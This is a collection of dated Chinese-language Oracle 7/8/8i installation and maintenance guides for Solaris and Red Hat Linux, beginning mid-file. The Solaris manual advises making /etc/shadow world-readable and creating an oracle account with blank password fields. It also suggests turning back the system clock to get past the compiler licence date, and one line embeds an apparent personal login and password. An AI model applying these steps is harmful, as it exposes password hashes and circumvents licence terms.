LD_LIBRARY_PATH=$ORACLE_HOME/lib;export LD_LIBRARY_PATH
TMPDIR=/oracle/tmp;export TMPDIR
ORACLE_DOC=$ORACLE_HOME/doc;export ORACLE_DOC
ORA_NLS32=$ORACLE_HOME/ocommon/nls/admin/data;export ORA_NLS32
PATH=$PATH:$ORACLE_HOME/bin;export PATH
# NLS_LANG=AMERICAN_AMERICA.ZHS16CGB231280;export NLS_LANG

# use default system file creation mask

eval `tset -m ansi:${TERM:-ansi} -m :\?${TERM:-ansi} -r -s -Q`

/usr/bin/prwarn # issue a warning if password due to expire

2、配置文件listener.ora
例：
LISTENER =
(ADDRESS_LIST =
(ADDRESS =
(PROTOCOL = TCP)
(Host = 23.96.4.104)
(Port = 1521)
)
)

STARTUP_WAIT_TIME_LISTENER = 0
CONNECT_TIMEOUT_LISTENER = 10
TRACE_LEVEL_LISTENER = OFF

SID_LIST_LISTENER =
(SID_LIST =
(SID_DESC =
(SID_NAME = ora7)
(ORACLE_HOME = /oracle/app/oracle/product/7.3.4)
)
)

3、 配置文件tnsnames.ora
例：
ora7 =
(DESCRIPTION =
(ADDRESS_LIST =
(ADDRESS =
(PROTOCOL = TCP)
(Host = 23.96.4.104)
(Port = 1521)
)
)
(CONNECT_DATA =
(SID = ora7)
)
)


Oracle技术网—Oracle 8 for solaris 2.6 安装步骤

Oracle 8 for solaris 2.6 安装步骤
来源：聚富
一、 修改/etc/system文件，在文件后加上
set shmsys:shminfo_shmmax=4294967295
set shmsys:shminfo_shmmin=1
set shmsys:shminfo_shmmni=100
set shmsys:shminfo_shmseg=15
set semsys:seminfo_semmns=200
set semsys:seminfo_semmni=70
set ulimit=3000000
重新启动。

二、创建dba组和 oracle用户 - oracle
指明Oracle用户的根目录（例如：/u/oracle)
指明用户属于dba组

三、 编辑oracle [Oracle用户]的.profile文件

login:oracle
password:****
$pwd
/u/oracle7
$vi .profile
PATH=$PATH:$HOME/bin:. # set command search path
export PATH
umask 022
ULIMIT=3000000
ORACLE_SID=ora8
ORACLE_BASE=$HOME
ORACLE_HOME=$ORACLE_BASE
ORACLE_DOC=$ORACLE_HOME/doc
NLS_LANG=AMERICAN_AMERICA.zhs16cgb231280
export ULIMIT ORACLE_SID ORACLE_DOC ORACLE_BASE ORACLE_HOME NLS_LANG
ORACLE_TERM=sun5
export ORACLE_TERM

四、在/etc/services 文件中加入一行：listener 1521/tcp
# cd /etc
# vi services
在文件中加入一行：listener 1521/tcp
五、开始安装
$chmod 777 /cdrom
$mount /dev/cd0 /cdom
$ cd /cdrom/orainst
$ ./orainst
选择：custom方式
注：字符集：ZHS163GB231280 (中文)
安装选件。（我全都选）

六、安装完成后执行root.sh
$ su root
# cd $ORACLE_HOME/orainst
# ./root.sh

安装完成。启动数据库
$svrmgrl
Oracle Server Manager Release 3.0.4.0.0 - Production
(c) Copyright 1997, Oracle Corporation. All Rights Reserved.
Oracle8 Enterprise Edition Release 8.0.4.0.0 - Production
PL/SQL Release 8.0.4.0.0 - Production
SVRMGR>connect internal;
SVRMGR> startup
ORACLE instance started.
Total System Global Area 82053312 bytes
Fixed Size 47296 bytes
Variable Size 40972288 bytes
Database Buffers 40960000 bytes
Redo Buffers 73728 bytes
Database mounted.
在本地运行SQL*Plus测试一下。
Oracle的参数调整，修改文件 initora8.ora
db_block_buffers*db_block_size + shared_pool_size 为服务器所带内存的1/
2 - 2/3之间。
每次参数调整后要重启数据库才回生效。

七、编辑tnsnames.ora, listener.oa
$ pwd
/u/oracle/network/admini
$vi listener.ora
#
# Installation Generated Net8 Configuration
# Version Date: Jun-17-97
# Filename: Listener.ora
#
LISTENER =
(ADDRESS_LIST =
(ADDRESS= (PROTOCOL= IPC)(KEY= ora8))
(ADDRESS= (PROTOCOL= IPC)(KEY= PNPKEY))
(ADDRESS= (PROTOCOL= TCP)(Host= hybyj)(Port= 1521))
)
SID_LIST_LISTENER =
(SID_LIST =
(SID_DESC =
(GLOBAL_DBNAME= hybyj.net.cn)
(ORACLE_HOME= /u/oracle)
(SID_NAME = ora8)
)
(SID_DESC =
(SID_NAME = extproc)
(ORACLE_HOME = /u/oracle)
(PROGRAM = extproc)
)
)
STARTUP_WAIT_TIME_LISTENER = 0
CONNECT_TIMEOUT_LISTENER = 10
TRACE_LEVEL_LISTENER = OFF

$ vi tnsnames.ora
#
# Installation Generated Net8 Configuration
# Version Date: Oct-27-97
# Filename: Tnsnames.ora
#
extproc_connection_data =
(DESCRIPTION =
(ADDRESS = (PROTOCOL = IPC)(KEY = ora8))
(CONNECT_DATA = (SID = extproc))
)
ora8 =
(DESCRIPTION =
(ADDRESS = (PROTOCOL= TCP)(Host= hybyj)(Port= 1521))
(CONNECT_DATA = (SID = ora8))
)
$

八、 实现机器启动后ORACLE数据库和Listener的自启动

#cd /etc
#vi oratab 将N改为Y
#cd /etc/rc2.d
创建文件 /etc/init.d/dbora, 内容：
ORACLE_HOME=/u/oracle
ORA_OWNER=oracle
if [! -f $ORACLE_HOME/bin/dbstart -o ! -d $ORACLE_HOME]
then
echo " Oracle startup: connot start"
exit
fi
case "$1" in
'start')
su - $ORA_OWNER -c $ORACLE_HOME/bin/dbstart &
su - $ORA_OWNER -c $ORACLE_HOME/bin/lsnrctlstart.sh &
;;
'stop')
su - $ORA_OWNER -c $ORACLE_HOME/bin/dbshut &
;;
esac
然后键入如下命令：
#ln -s /etc/init.d/dbora /etc/rc0.d/K10dbora
#ln -s /etc/init.d/dbora /etc/rc2.d/S99dbora
重启即可。

九、数据移植：
如要将oracle 7 exp出的dmp文件 imp 到oracle 8 ,先运行/rdbms/admin/cate
xp7.sql


Oracle技术网—Oracle 8(8.0.5)标准版安装指南

Oracle 8(8.0.5)标准版安装指南

yanzi (clyan@sohu.com)
来源：Linux数据库应用指南
    本文提供一种在RedHat Linux 6.0上安装Oracle 8标准版的简便方法，RedHat 6.0使用glibc 2.1，所以要正常运行Oracle8则必须打补丁。虽然Oracle出品了其最新数据库产品Oracle 8i (8.1.5)for Linux，并在RedHat 6.0上通过测试，但由于该版本bug太多，且采用了与以前版本完全不同安装方式－采用基于Java的安装程序，让很多Oracle的忠实用户颇感不适，所以在Oracle 8i改进之前，建议继续使用Oracle 8.0.5。

一、下载Oracle 8.0.5和补丁程序
    你可到Oracle的官方站点下载，在下载之前，必须先去Oracle OTN(Oracle Technology Network)免费注册，这样你可以访问Oracle的很多在线技术文档、下载和讨论区，说不定还可得到一张CDROM。下载的文件是805ship.tgz和glibcpatch.tgz。
    国内可到网络工作室 或新丝(思)路下载，但这些站点没有glibcpatch。

二、安装前准备工作

1、检查硬盘自由空间和5.2版兼容库

    在硬盘上准备500M以上的自由空间，可以是单独的一个分区，也可以不是。如果有光盘，可以从光盘上直接安装，如果是下载的，先在一个临时目录下（为方便叙述本文用“/apps”）将下载的805ship.tgz解压缩：

    tar zxvf 805ship.tgz

    检查Oracle 8.0.5所需的Redhat 5.2的兼容库是否已经安装好。

    rpm -q compat-binutils
>compat-binutils-5.2-2.9.1.0.23.1

    rpm -q compat-glibc
>compat-glibc-5.2-2.0.7.1

    rpm -q compat-egcs
>compat-egcs-5.2-1.0.3a.1

    rpm -q compat-egcs-c++
>compat-egcs-c++-5.2-1.0.3a.1

    rpm -q compat-libs
>compat-libs-5.2-1

    如果没有安装好上述这些兼容库，可从RedHat 6.0光盘或去有关站点下载后进行安装：

    rpm -ivh compat-binutils-5.2-2.9.1.0.23.1.i386.rpm
    rpm -ivh compat-glibc-5.2-2.0.7.1.i386.rpm
    rpm -ivh compat-egcs-5.2-1.0.3a.1.i386.rpm
    rpm -ivh compat-egcs-c++-5.2-1.0.3a.1.i386.rpm
    rpm -ivh compat-libs-5.2-1.i386.rpm

2、修改内核内存参数SHMMAX

    你可以修改内核的内存参数以便让Oracle支持更大的共享内存（最大4G），但很多用户指出4G可能用问题，32M内存足以运行Oracle，所以你可以不改SHMMAX，不过如果你有更多的内存（如128M），建议修改SHMMAX：

    cd /usr/src/linux/include/asm
    vi shmparam.h

找到“#define SHMMAX 0x2000000”，修改0x2000000为适当的值（0x80000000=128M），保存文件并重新编译核心，安装新内核。（有关核心编译和安装新内核请参阅核心源代码自带的说明文件）。

3、创建Oracle用户和组

    创建Orale组和用户：

    groupadd dba （在RedHat 6.0上，该组的ID可能是500）

    groupadd oper （该组是可选的，其ID可能是501）

    useradd oracle -g dba

    passwd oracle （修改口令）

    创建Orcale的安装目录，可以是一个单独的分区。不妨是“/u1”（你也可以欺骗Orcale，创建4个目录如/u1、/u2、/u3、/u4）。设置/u1目录的所有者：

    chown oracle.dba /u1

    进入"/apps"（805ship.tgz解压缩的目录），运行oratab脚本：

    cd /apps

    cd orainst

    ORACLE_OWNER=oracle; export ORACLE_OWNER

    sh oratab.sh

    logout

    重新用oracle用户登录，将下载的补丁程序glibcpatch.tgz拷贝到一个目录下解压缩：

    cd /apps (假定glibcpatch在/apps目录下)

    mkdir ~/orapatch

    cp glibcpatch.tgz ~/orapatch

    cd ~/orapatch

    tar zxvf glibcpatch.tgz

键入umask回车，检查其结果是否为“022”，如果不是，则在下面的“.profile”中加入“umask 022”。

    在oracle用户的根目录“/home/oracle”（或~）下创建“.bash_profile”脚本：

    cd ~

    vi .bash_profile

    在该文件中增加如下内容：

    ORACLE_HOME=/u1/app/oracle/product/8.0.5; export ORACLE_HOME
    LD_LIBRARY_PATH=/u1/app/oracle/product/8.0.5/lib; export LD_LIBRARY_PATH
    ORACLE_BASE=/u1/app/oracle; export ORACLE_BASE
    ORACLE_DOC=/u1/app/oracle/product/8.0.5/doc; export ORACLE_DOC
    ORACLE_SID=ORCL; export ORACLE_SID
    ORACLE_TERM=386; export ORACLE_TERM
    PATH=$PATH:/u1/app/oracle/product/8.0.5/bin; export PATH
    TMPDIR=/var/tmp; export TMPDIR

    如果umask不是返回"022"，加入
    umask 022

    ORACLE_DOC指出Oracle文档的安装目录，如果不在这里指定也可在安装过程中指定。如果接受默认的文档目录，安装程序将出错，以至于不能完成安装过程，这是Oracle的一个bug。

    重新登录，用“env”命令检查上述的设置是否正确。

4、安装Oracle 8.0.5

    cd /apps/orainst

    ./orainst /c

    选择“Custom Install”、OK、“Install,Upgate or De-install software”、“Install new product-DO NOT Create DB objects”（这一点很重要），检查“ORACLE_HOME”和“ORCALE_BASE”是否正确，接受默认log文件路径，选择从CDROM安装，选择恰当的语言（建议用American/English）。安装程序会告诉你“root.sh”在什么地方以便在安装完毕后执行。这时你就可以选择安装那些软件，如果你已安装了JAVA SDK并设置了正确的CLASSPATH，可选择安装JDBC，如果安装了TCL软件包，可以选择“Intelligent agent”，不过此时建议你可以不安装这些选件，以后可根据需要安装。按“Install”开始安装。

    在安装过程中有几个要注意的地方。关于ULIMIT的提示可以忽略，dba和oper组可以接受默认值，特别注意的地方是安装文档的目录，如果设置了ORCALE_DOC，则默认即可，否则一定要设置为“/u1/app/oracle/product/8.0.5/doc”，不然安装程序将提示“将文件拷贝到一个不存在的目录”，这是一个bug。

    如果你看到“The requested action has been performed for selected products”这样的提示，按“Exit”选“Yes”退出安装程序，你会看到一条“Result:Success”。

5、安装补丁

    由于RedHat 6.0使用了新版glibc库，而且该版本与Oracle不兼容，在RedHat 6.0上安装Oracle 8.0.5会有下列情况发生：

  • 如果在安装过程中创建数据库导致安装失败。
  • 运行Oracle的二进制文件如SVRMGRL和SQLPLUS会导致“Segmentation fault”。

    Oracle为此发布了一个补丁程序glibcpatch，他“修正”了4个RedHat 6.0的兼容库（在RedHat 6.0的光盘上提供的），这绝对不是最好的解决方案，因为他不用最新的glibc库，但不幸的是这是唯一的解决方法。

    cd ~/orapatch

    sh glibcpatch.sh

经过一段时间后（视你的机器配置而定），你会看到“Applied glibc patch for Oracle 8.0.5.x successfully”，这表明补丁成功。

6、创建数据库

    cd /apps/orainst

    ./orainst /c

    选择“Custom Install”、“Create /Upgrade database objects”、“Create Database objects”、检查ORACLE_HOME和ORCALE_BASE、接受默认log文件目录、必须选择“Oracle 8 Standard RDBMS 8.0.5.0.0”、按“Install”、选择“Create Product DB objects”、选择“Filesystem-based Database”、如果你准备将控制文件分布在多个“安装点”（Mount point），可在下个窗口指定，在这里我们选择单一安装点“/u1”。再选择适当的“Character set”、选择适当的“national chchacter set”、输入SYSTEM和SYS账户的口令、如果需要为dba和operator指定一个内部口令，则输入口令，否则选“no”、输入“TNS listener”口令、配置“MIS listener”时选“no”、接受控制文件的默认值、按OK到下两屏、最后选“Yes” 接受这些默认值。此时开始创建数据库，这需要很长的时间，直到看到“The requested action has been performed for selected products”后，按“OK”回到安装主窗口，退出安装程序。

7、安装完毕后

    重新以root身份登录，先将/“root”的“.bash_profile”作个备份，在将“/home/oracle/.bash_profile”拷贝到“/root”下。

    cp /root/.bash_profile /root/.bash_profile.sav

    cp /home/oracle/.bash_profile /root/.bash_profile

    logout

    再以root登录以便执行.bash_profile脚本，用env命令检查环境设置。然后：

    cd $ORACLE_HOME/orainst

    sh root.sh

    检查ORACLE_OWNER、ORACLE_HOME和ORACLE_SID的设置是否正确，如果正确，按“Y”。当提示本地bin目录时，输入“/usr/local/bin”，该脚本会提示你ORACLE_HOME与orcale的主目录不匹配，不用担心，键入“Y”继续下去。

    脚本执行完毕后，用oracle用户登录，停止服务器：

    svrmgrl

    connect internal

    shutdown

    quit

8、修改TNS Listener的权限

    TNS Listener以不正确的权限安装的，运行下列命令进行修改：

    su root
    [输入口令]
    chown oracle.dba $ORACLE_HOME/bin/tnslsnr
    chmod 750 $ORACLE_HOME/bin/tnslsnr
    chown oracle.dba $ORACLE_HOME/network/log
    chmod 775 $ORACLE_HOME/network/log
    chown root.dba $ORACLE_HOME/network/log/listener.log
    chmod 664 $ORACLE_HOME/network/log/listener.log
    exit (退出root)

9、启动orcale服务器并测试

    如果当前用户不是oracle（whoami），退出登录后以orcale用户登录。如果你想从其他PC上的GUI工具访问Orcale，则需运行TNS Listener，默认的配置是TCP/IP，你可能需要修改。

    启动侦听器（Listener）：

    lsnrctl start

    启动Oracle服务器：

    svrmgrl

    connect internal

    startup

    quit

    现在用sqlplus启动一个创建用户资料(profile)的脚本程序：

    cd $ORACLE_HOME/sqlplus/admin
    svrmgrl
    connect system/<password> （默认是 "manager"）
    @pupbld.sql
    quit

    下述脚本创建一个scott的用户，口令是tiger，你可以为此用户设置一个表的示例：

    cd $ORACLE_HOME/rdbms/admin
    sqlplus (用sys连接，默认口令为change_on_install)
    @utlsampl.sql
    quit

    检查刚才创建的数据库：

    sqlplus scott/tiger

    SQL>select * from dept;

    你可以看到表dept的记录内容。

    如果现在你能创建用户数据库表（table），你的Oracle数据库应该是启动并在运行了！

    最后一步，用root重新登录，将刚才备份的“.bash_prifle”恢复。

    copy /root/.bash_profile.sav /root/.bash_profile


Oracle技术网—Oracle 8i(8.1.5)企业版安装指南

Oracle 8i(8.1.5)企业版安装指南

yanzi (clyan@sohu.com)
来源：Linux数据库应用指南
Oracle在推出Oracle 8.0.5 for Linux之后，又马不停蹄地将其最新旗舰产品Oracle 8i（8.1.5，i 即Internet）移植到Linux上，可见一个领先业界的数据库综合产品的Oracle公司是如何捕捉市场商机的。Oracle 8i比起其前辈产品更适应目前的Internet发展，对Internet的支持领先与其对手。Orcale 8i 比其早先版本有很大改变，特别是安装程序。Oracle 8i启用了新的安装程序OUI（Oracle Universal Installer），OUI是用Java写的，因此它可在任何JVM上运行，彻底改变了原有的基于字符方式的Orainst，这一点颇让广大Oracle用户感到不适。

    该版本（指在网上可供免费下载的）在发布是存在太多的bug，所以Oracle根据用户的反馈意见随即发布了一个补丁程序，基本解决了问题，所以在安装完毕后必须打补丁。

    根据Oracle关于Oracle 8i for Linux的发布公告，该版本是一个完整的软件发行版本，它在RedHat 6.0上通过测试，而且它被安装在一个新的ORCALE_HOME目录下。

一、系统需求

    按照Oracle的发布公告(usr:clyancl passed iamclyan)中所要求的，Oracle 8i for Intel-Linux硬件和操作系统的要求是：

内存 | 最小128MB，运行Java VM则需256MB或更多。
交换空间 | 建议三倍于内存，如内存超过1GB，则可减少为二倍于内存或更少。
内核版本 | Linux kernel 2.2。
窗口管理器 | 任何窗口管理器，如fvwm。该版本不再支持基于字符的安装。
系统库 | glibc 2.1（redhat 6.0）
安装空间 | 最小约693MB，典型约765MB。
交换空间 | 建议三倍于内存，如内存超过1GB，则可减少为二倍于内存或更少。
JDK | JDK 1.1.6V5
其他需求 | egcs-1.1.2、tcl 7.5等。

    需要注意的是，RedHat 6.0所带的enlightenment-0.15.5-32的GNOME窗口管理器不能用于安装Oracle 8i，你可以到RedHat站点上下载enlightenment-0.15.5-37进行升级。建议用KDE进行安装工作。

    关于所需内存，不一定要128MB以上，实际上64M内存也可以，只是运行速度较慢而已。为了能充分利用Oracle 8i提供的众多基于图形方式的实用程序和满足大数据库的查询处理，建议最好有128M或更多的内存。

二、准备工作

1、下载Oracle 8i for Linux

    你可到Oracle的FTP站点上下载Oracle 8i企业版（815ship.tgz 245M）。

2、下载Oracle 8i的补丁程序

    你可到Oracle的FTP站点下载Oracle 8i企业版的补丁程序。（linux_81501patch_ee.tgz 6.1M）。

3、下载JDK 1.1.6v5

    你可到Blackdown.org查询下载的站点，也可到新思路下载JDK 1.1.6v5或JRE 1.1.6v5。实际上安装只要jre即可。

三、安装前

    本文介绍在RedHat 6.0上如何安装Oracle 8i企业版。

    首先检查是否有足够的硬盘剩余空间，建议用一个单独的分区安装Oracle 8i和数据库。如果你使用Gnome/enlightenment窗口环境，必须检查一下englightenment的版本：

    rpm -q enlightenment

如果是enlightenment-0.15.5-32，则必须升级到0.15.5-37版本，可按上面介绍的方法升级。RedHat 6.0同时提供Gnome和KDE，在“/usr/X11R6/lib/X11/xinit”目录下有一个Xclients文件，修改它可选择运行Gnome还是KDE。本文使用KDE。

    本文假定：

    ORACLE_HOME=/u1/oracle/product/8.1.5

    ORACLE_SID=ORCL

1、安装JRE 1.1.6v5

    将jre_1.1.6-v5-glibc-x86.tar.gz拷贝到/usr/local目录下，解压缩：

    tar zxvf jre_1.1.6-v5-glibc-x86.tar.gz

    ln -s jre116_v5 jre

2、创建oracle用户和组

    groupadd dba （在RedHat 6.0上，该组的ID可能是500）

    groupadd oper （该组是可选的，其ID可能是501）

    useradd oracle -g dba

    passwd oracle （修改口令）

    创建oracle的安装目录，本文将安装目录设为“/u1/oracle/product/8.1.5”。只需创建“/u1”即可，设置“/u1”的所有者：

    chown oracle.dba /u1

在创建一个目录用于暂放Oracle 8i软件包815ship.tgz：

    mkdir /ora_package

    chown oracle.dba /ora_package

    创建好oracle用户和相关组后，退出root（logout），重新用oracle用户登录...

    cd /home/oracle （或　cd ~）进入oracle用户的主目录，创建该用户的自动执行文本".bash_profile"。

    vi .bash_profile

    在该文件中加入下列内容：

    # Setup ORACLE environment
    ORACLE_HOME=/u1/oracle/product/8.1.5
    export ORACLE_HOME
    ORACLE_SID=ORCL
    export ORACLE_SID
    ORACLE_TERM=xterm
    export ORACLE_TERM
    ORACLE_OWNER=oracle
    export ORACLE_OWNER
    TNS_ADMIN=/home/oracle/config/8.1.5
    export TNS_ADMIN
    CLASSPATH=$ORACLE_HOME/jdbc/lib/classes111.zip
    export CLASSPATH

    # Set up the search paths:
    PATH=/usr/local/jre/bin:/usr/local/jdk/bin:/bin:/sbin
    PATH=$PATH:/usr/bin:/usr/sbin:/usr/local/bin:$ORACLE_HOME/bin
    PATH=$PATH:/usr/local/sbin:/usr/bin/X11:/usr/X11R6/bin:.
    export PATH

保存该文件，然后logout。

四、安装

    以oracle用户登录，将下载的oracle 8i软件包815ship.tgz拷贝到已创建好的“/ora_package”目录下，解压缩：

    cp 815ship.tgz /ora_package

    cd /ora_package

    tar zxvf 815ship.tgz

    你可以用ls看到oracle 8i的安装文件runInstaller。

1、启动x-windows，运行runInstaller

    startx

    启动X-windows后，启用一个终端（kvt），在该终端中运行runInstaller:

    sh runInstaller

这是你可以看到用jre运行的全新的图形化的OUI的欢迎画面，按照提示继续安装进程：

  • Next
  • File locations，确认正确后，Next，OUI装载产品信息。
  • Unix Group Name 默认为dba，如果不填，则只有root可以有oralce的系统管理员权限。
  • Next，OUI出错，提示要以root权限运行“/tmp/orainstall/orainstRoot.sh”，打开另一个终端，键入下列命令：su （输入root口令），sh /tmp/orainstall/orainstRoot.sh，提示创建"/etc/oraInst.loc并将OraInventory文件的组名改为dba，返回OUI按Retry。
  • Available Products 选Oracle 8i Enterprise Edtion 8.1.5.0.0，按Next。
  • Installation Types （这里有一个小bug－典型安装所需的空间比最小安装“大”）选typical，按Next，出现安装Oracle Intelligent Agent，按Next，在右上角有一个进度标尺提示。
  • Database Identification Global Database Name:First.yanzi （任意）。SID保留ORCL，按Next。
  • Database File Location 任意目录，无特别要求，不妨设为“/u1/oracle/dbs”，按Next。
  • 出现Summary，对你想要安装的产品作一个总结。
  • 按Install，出现Install画面，等待... 你可以看到窗口底部提示的安装等log文件目录，可供以后查询。
  • 弹出一个提示：执行“/u1/oracle/product/8.1.5/root.sh，在另一个终端窗口中（刚才su的那个即可）以root权限执行该文件，将默认的/usr/bin改为/usr/local/bin，执行完毕后，返回OUI，按OK。
  • 安装Configuration Tool，安装dbassist时出错，按OK忽略，按Next。
  • End of Installation，按Exit退出OUI，完成安装。
  • 修改/etc/ld.so.conf，加入如下内容：
    /u1/oracle/product/8.1.5/lib
    /u1/oracle/product/8.1.5/jdbc/lib
    保存该文件，执行ldconfig -v。

2、打补丁

    将下载的Oracle 8i企业版补丁程序linux_81501patch_ee.tgz拷贝到/ora_package/ora_patch目录下，进入此目录，解压缩：

  • mkdir /ora_package/ora_patch
  • cp linux_81501patch_ee.tgz /ora_package/ora_patch
  • cd /ora_package/ora_patch
  • tar zxvf linux_81501patch_ee.tgz
  • sh linux_81501patch_ee.sh

    补丁程序只能运行一次。

3、创建数据库

    在Oracle 8i中提供一个图形界面的数据库助理dbassist，它也是基于Java的，利用它可以创建、修改和删除数据库。

    在一个终端窗口中运行dbassist：

  • dbassist &　，出错按OK忽略，
  • 选择Create a database，按Next，
  • 选择Typical，按Next，
  • 选择Create new database files，按Next，
  • 选择Online Transaction Precessing（OLTP），Next，
  • 并发用户 15，Next，
  • 数据库配置选项全部选中，Next，
  • 输入Global Database Name： oracle1，SID保留ORCL，Next，
  • 现在可以直接创建数据库，也可保存为一个shell脚本文件在字符方式下执行，该脚本保存在$ORACLE_HOME/install目录下，名字为sqlORCL.sh（sh $ORACLE_HOME/install/sqlORCL.sh）。两种方式所需时间都特别长，耐心等待吧...

    创建好数据后，关闭数据库服务器。

    svrmgrl

    connect internal

    shutdown

    quit

五、测试数据库

    数据库的测试可参照Oracle 8.0.5安装指南提供的方法进行。

    注：system的默认口令是manager，而sys的默认口令是chang_on_install。

    关于Oracle 8i的网络配置，可使用新的图形界面的netasst，常用的网络协议用TCP/IP，TCP端口1521，这些可在netasst中通过配置侦听器（listener）来实现，然后用lsnrctl start命令启动侦听程序。

1999年10月20日


Oracle技术网—ORACLE FOR SUN SOLARIS 安装手册

ORACLE FOR SUN SOLARIS 安装手册
来源：不详

ORACLE FOR SUN SOLARIS 安装手册

ORACLE 是大型关系型数据库，是高可靠的、耐用的、安全的、可扩充的数据库。
在分布方式、平行方式、多线索方式下都有良好的表现，特别适用于象CHINA ON
LINE 这样的大型的遍布全国的数据存储方式；加上它有许多优秀的前台开发工具
如 POWER BUILD、SQL*FORMS、VISIA BASIC 等，可以快速开发生成基于客户端P
C 平台的应用程序，特别适用于象CHINA ONLINE 这样的需要编写适用于各行各业
大量的应用工作的任务，计费系统就是一个例子。
ORACLE 的安装分三个大步骤，首先是安装 C COMPILER，接着是 ORACLE 安装前
的准备工作，最后才是进ORACLE 安装窗口进行安装及安装后处理。
一、安装 C COMPILER ( 编译器 )
ORACLE WEB SERVER的安装过程有些步骤需要用C语言编译器编译执行，加上ORAC
LE 的底层逻辑计算有c 编译器则更高速、更可靠。所以此步不可少。
1、 Solaris安装后
#cp /etc/skel/local.cshrc /.cshrc
#cp /etc/skel/local.login /.login
2、 #vi /etc/passwd
第一行改成 root:x:0:1:Super-User:/:/bin/csh
3、 #vi /.cshrc
unmask 022
set path=(/bin /usr/openwin/bin /oracle/bin /usr/sbin /opt/SUNWspro/bi
n
/sbin /usr/ucb /etc /usr/ccs/bin .)
alias cd 'cd \!*;set prompt=" ' pwd '#>" '
( 安装CC要修改系统时间，改到 LICENCES日期之前 )
4、 插入C COMPILER 安装光盘
#volcheck
#df -k 检查有无cdrom的设备
5、 #cd /cdrom/cdrom0
(说明：C 编译器的安装程序必须在openwin 即窗口状态下执行)
#/cdrom/unamed_cdrom0>spro_install_tool
6、 选 sparc compiler 3.0.1
7、 选 install licenses software /opt
8、 选 setup licenses
9、 选 select product sparc compiler 3.0.1
10、 选 demo licenses
11、 输入有效期：DD-MM-YY
密 码：
12、 选 done with licenses，然后退出 exit install licenses 。
屏幕有窗口提示licenses安装成功
13、选 install，屏幕出现滚动安装窗口
等待数分钟后，屏幕提示安装成功，exit install
14、 在操作系统下运行
#etc/opt/licenses/LIC_CONFIG_SCRIPT
屏幕提示licenses 已正确设置。
15、 #reboot
正常登录后
#env 看环境变量改变了没有
16、 #vi test.c 编一 C语言测试程序
#include /* test.c */
main()
{
printf("Hello......\n");
}
17、 #cc test.c -o test 编译
18、 #./test 执行
运行结果：
Hello.......
19、 #eject cdrom 成功后退出光盘
C COMPILER 安装成功！

二、安装 ORACLE 前的准备工作
准备工作主要是增加ORACLE 的用户及组，改变一些系统参数文件。
1、 #vi /etc/passwd
第一行改成 root:x:0:1:Super-User:/:/bin/csh
(选用csh 内核语言)
最后一行加 oracle::9722:643:super-account:/oracle:/bin/csh
(增加oracle用户)
2、 #vi /etc/group (增加oracle的组)
最后一行后加 dba::643:oracle

3、 (必要时改 shadow 文件的读写属性：chmod 755 shadow )

#vi /etc/shadow (增加oracle用户口令，这里缺省)

最后一行后加 oracle:::::::: (共8个:)

4、 在根 / 下

#chown oracle oracle

#chgrp dba oracle

#passwd oracle 给oracle加口令，敲两次口令

5、 #cp .cshrc /oracle 把根下的这两个文件拷贝到 /oracle 路径下

#cp .login /oracle

6、 #cd oracle

#chown oracle .* 把拷贝过来的隐含文件变成oracle属组

#chgrp dba .*

7、 #vi /etc/services

最后增加两行 orasrv 1525/tcp oracle

listener 1521/tcp

8、 #vi /etc/system

在set后增加一段 set shmsys:shminfo_shmmax=8388608

set shmsys:shminfo_shmmin=1

set shmsys:shminfo_shmmni=100

set shmsys:shminfo_shmseg=10

set semsys:seminfo_semmns=200

set semsys:seminfo_semmni=70

9、 #su - oracle

10、 %vi .cshrc

增加一段 setenv ORACLE_HOME /oracle

setenv ORACLE_DOC /oracle/odoc

setenv ORACLE_SID oracle7

setenv ORACLE_TERM sun5

setenv ORA_NLS /oracle/occommon/nls/admin/data

setenv NLS_LANG=AMERICAN.AMERICA.zhs16cgb231280

alias cd 'cd \!*;set prompt=" 'pwd '%>" '

11、 %cd oracle

%mkdir odoc 建odoc路径

%chmod 755 odoc

三、安装 ORACLE

1 、插入ORACLE 安装光盘

%volcheck

%df -k 检查有无cdrom的设备

2、 %cd /cdrom/oracle/orainst

%./orainst 出现 ORACLE 黑框的安装窗口

3、 选第一项 COMPLETE SOFTWARE / DATABASE FRESH INSTALL

然后一路回车 选九个产品安装 (全部安装可能无足够硬盘空间)

①. oracle7 advanced replication option 7.2.2.3.0 (可选)

②. oracle7 distributed database option 7.2.2.3.0 (可选)

③. oracle7 parallel query option 7.2.2.3.0 (可选)

④. oracle server (RDBMS) 7.2.2.3.0

⑤. PL/SQL 2.2.2.3.0

⑥. SQL*NET V2.2.2.2.0.0

⑦. PROC*C 2.1.2.0.0 (可选)

⑧. SQL/PLUS

⑨. TCP/IP protocal Adapter (V2) 2.2.2.2.0.0

注意：create db object 应选择yes

4、 再一路回车，根据提示输入 system 、 sys、 TNS listener 的password

5、 LANGUAGE 时 选OTHERS ，用户输入ZHS16CGB231280 汉字国标字符集

(说明：安装25%以前出错，可能是C COMPILER 的路径 /opt/SUNWspro/未在orac
le下的.cshrc下定义。)

6、安装成功100%后又回到开始的选项菜单。有时未满100% 后也回到开始的选项
菜单, /oracle/orainst/install.log 安装日志文件最后提示OK

7、按 F7 到菜单项，FILE 中选 EXIT 退出

% /cdrom/cdrom0/orainst>exit 退出 oracle 用户

8、运行 #/oracle/orainst/root.sh

Are these setting correct (y/n):敲 y

Enter the full pathname of the local bin directory (y/n): 敲/bin

(此shell 程序在/var/opt/oracle路径下生成一个文件oratab ,并做系统检测)

9、 #vi /var/opt/oracle/oratab

最后一行改 oracle7:/oracle:Y

10、#vi /var/opt/oracle/listener.ora

改 host= (host_name)

oraclehome= (/oracle)

11、#vi /var/opt/oracle/tnsnames.ora

一些连接字符串，分布式通讯时有用

12、#reboot 重新启动机器，使参数生效

13、#su - oracle

%env 看环境变量改变了没有

14、%svrmgrl 唤醒SVRMGR状态

SVRMGR>connect internal 连接打开数据库

SVRMGR>shutdown abort 先关闭 instances, 数据库

SVRMGR>startup 再打开数据库，当看到

instances startup, database mount,

database open的时候，oracle安装成功

SVRMGR>exit

15、 %lsnrctl start 启动listener

如果出错检查环境变量是否设好，及lsnrctl文件的内容和执行属性。


Oracle技术网—ORACLE FOR SUN SOLARIS 维护手册

ORACLE FOR SUN SOLARIS 维护手册
来源：不详

ORACLE FOR SUN SOLARIS 维护手册

ORACLE 的维护工作主要有打开和关闭数据库；用exp、imp命令做逻辑备份；用t
ar命令做物理备份；ORACLE 数据库使用一段时间后的空间扩张和针对具体的工作
增加临时或回滚表空间，取消新增的临时或回滚表空间；增加oracle的用户，给
用户授权等。以下按顺序详细介绍这些维护操作。

一、打开和关闭数据库

1、打开数据库

①、#su - oracle

②、%dbstart

